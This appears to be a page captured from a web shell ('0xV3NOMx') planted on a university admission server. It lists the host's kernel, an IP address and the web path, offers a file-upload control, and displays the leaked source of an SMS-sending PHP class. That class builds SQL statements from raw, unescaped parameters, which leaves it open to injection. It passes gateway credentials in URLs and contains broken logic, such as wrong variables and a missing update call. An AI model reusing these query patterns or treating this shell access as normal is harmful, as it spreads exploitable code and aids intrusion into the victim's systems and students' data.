0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.142.198.148


Current Path : /var/www/html/admission/
Upload File :
Current File : /var/www/html/admission/sendsmsapiv1.php

<?php

/**
 * @param description 
 * @param $funivcode = University code
 * @param $fenttype = Event type
 * @param $usertype = SMS sent to User level like 900-student, 100-top management etc
 * @param $sentuser = user id of the sender 
 * @param $to = Mobileno of the user
 * @param $message = Text message you want to send
 * 
 */
class SMS
{
	public $url = "https://http2.myvfirst.com/smpp/sendsms?";

	function __construct($funivcode, $fenttype)
    {
		include('/var/www/html/consts.php');
		$this->conn = new  mysqli(SERVERNAME,USERNAME,PASSWORD,"logisys3_comexam");
		if(!$this->conn) 
		{
			die("Connection failed: " . mysqli_connect_error());
		}
		$query = "select fsmsuser, fsmspasswd, fsmssendid from dbname where funivcode = '{$funivcode}'";
		$result = mysqli_query($this->conn,$query);
		$res = mysqli_fetch_assoc($result);

		$this->smsuser = $res['fsmsuser'];
		$this->smspasswd = $res['fsmspasswd'];
		$this->smssendid = $res['fsmssendid'];
		
		$this->funivcode = $funivcode;
		$this->fenttype = $fenttype;
	}

	function smsLog($to, $message, $resp, $usertype, $sentuser){
		
		$status = $resp == 'Sent.' ? 'T' : 'F';

		$year = date("Y");
		$type = date('m') < 6 ? 1 : 2;

		$strInsertQuery = "insert into logisys3_logs.smslog(funivcode, fmobileno, fenttype, fackdate, fstatus, fmessage, 
		fusertype, fguid, fsentuser, fyear, fexamtype) 
		values ( '{$this->funivcode}', '{$to}', '{$this->fenttype}', now(), '{$status}', '{$message}', 
		 '{$usertype}', '{$resp}', '{$sentuser}', '{$year}', '{$type}')";
		// var_dump($strInsertQuery);
		$result = mysqli_query($this->conn, $strInsertQuery); 

	} 

	function smsBulkLog($to, $message, $resp, $usertype, $sentuser){
		$year = date("Y");
		$type = date('m') < 6 ? 1 : 2;
          
		$rgExpAmp = explode('&', $resp);
		
		array_walk($rgExpAmp, function($val,$key) use(&$final){
			list($key, $value) = explode('=', $val);
			$final[$key] = $value;
		});

		$errorcode = explode(',', $final['errorcode']);
		$mobnos = explode(',', $final['seqno']);
		
		$rgInsert = array();
		$rgTrimedMobs = array();
		for($i = 0; $i < count($mobnos);$i++)
		{
			$mob = substr($mobnos[$i],2,11);
			$status = $errorcode[$i] == 0 ? 'T' : 'F';
			$rgInsert[] = "('{$this->funivcode}','{$mob}', '{$this->fenttype}', '{$errorcode[$i]}', now(), '{$status}', '{$message}', 
			'{$usertype}', '{$final['guid']}', '{$sentuser}', '{$year}', '{$type}')";
			$rgTrimedMobs[$i] = substr($mobnos[$i],2,11);
		}
        
		$strInsertQuery = "insert into logisys3_logs.smslog(funivcode, fmobileno, fenttype, ferrorcode, fackdate, fstatus, fmessage, 
		fusertype, fguid, fsentuser, fyear, fexamtype) 
		values ".implode(',',$rgInsert);
		$result = mysqli_query($this->conn, $strInsertQuery); 

		return $rgTrimedMobs;

	} 

	function sendSms($to, $message, $category = ''){
		// Build URL
		$url = $this->url;
		$url .="username={$this->smsuser}&password={$this->smspasswd}";
		$url .="&to={$to}";
		$url .="&udh=0";
		$url .="&from={$this->smssendid}";
		$text = urlencode($message);
		$url .="&text={$text}";
		$url .="&dlr-mask=1&dlr-url";
		if($category !='')
			$url .="&category={$category}";
			
		// Send sms
		$session = curl_init($url);
		curl_setopt($session, CURLOPT_HEADER, false);
		curl_setopt($session, CURLOPT_RETURNTRANSFER, true);
		$response = curl_exec($session);
		curl_close($session);
		return $response;
	}
	
	function sendIndvidualSms($to, $message, $usertype, $sentuser) {
		$resp = $this->sendSms($to, $message);
		$this->smsLog($to, $message, $resp, $usertype, $sentuser);
	}

	function sendBulkSms($to, $message, $usertype, $sentuser) {
		$resp = $this->sendSms($to, $message, 'bulk');
		$mobs = $this->smsBulkLog($to, $message, $resp, $usertype, $sentuser);
		return $mobs;
	}

	function sendGeneralizedBulkSms($usertype, $sentuser) {

		$query1 = "SET SESSION group_concat_max_len=10000000";
		$result = mysqli_query($this->conn, $query1); 

		$query = "select funivcode, group_concat(concat('91', fmobileno)) as mobilenos,
		fenttype, fmessage,fexamdate,
		if(length(fmessage) > 160, ceiling(307/153), 1) as msg_cnt 
		from sendsms 
		where fmobileno is not null
		and fstatus = 'F'
		and fenttype = '{$this->fenttype}'
		and funivcode = '{$this->funivcode}'
		group by funivcode, fmessage";
		$result = mysqli_query($this->conn, $query); 

		while($row = mysqli_fetch_assoc($result))
		{
			$rgBigArr = explode(',', $row['mobilenos']);
			$rgSmallArr =  array_chunk($rgBigArr,90);
			$message = $row['fmessage'];

			foreach($rgSmallArr as $key => $value)
			{
				$strTo = implode(',', $value);
				$mobs = $this->sendBulkSms($to, $message, $usertype, $sentuser);
				$srtImplodedMobs = implode("','",$mobs); 
				$strUpdateQuery = "update sendsms set fstatus = 'T' where fenttype = '{$this->fenttype}' 
				and fmobileno in ('{$srtImplodedMobs}')";
				$updres = mysqli_query($this->conn, $query);
			}
		}
	}

	function sendCustomizedBulkSms($usertype, $sentuser) {
		
		$query = "select funivcode, fregno, fenttype, fmobileno as mobileno, 
		concat(fmessage, ' Sent Time: ',time(now())) as fmessage,
		fmessage, if(length(fmessage) > 160, ceiling(307/153), 1) as msg_cnt
		from sendsms 
		where ifnull(fstatus, 'F') = 'F' and fenttype = '{$this->fenttype}'
		and funivcode = '{$this->funivcode}'
		and fmobileno is not null";

		$result = mysqli_query($conn,$query);

		while($row = mysqli_fetch_assoc($result))
		{
			$to = $row['mobileno'];
			$message = $row['fmessage'];

			$this->sendIndvidualSms($to, $message, $usertype, $sentuser);

			$strUpdateQuery = "update sendsms set fstatus = 'T' where fenttype = '{$this->fenttype}'
			and fmobileno = '{$to}' and funivcode = '{$this->funivcode}'";
			$result2 = mysqli_query($conn,$strUpdateQuery);
		}
	}
}


?>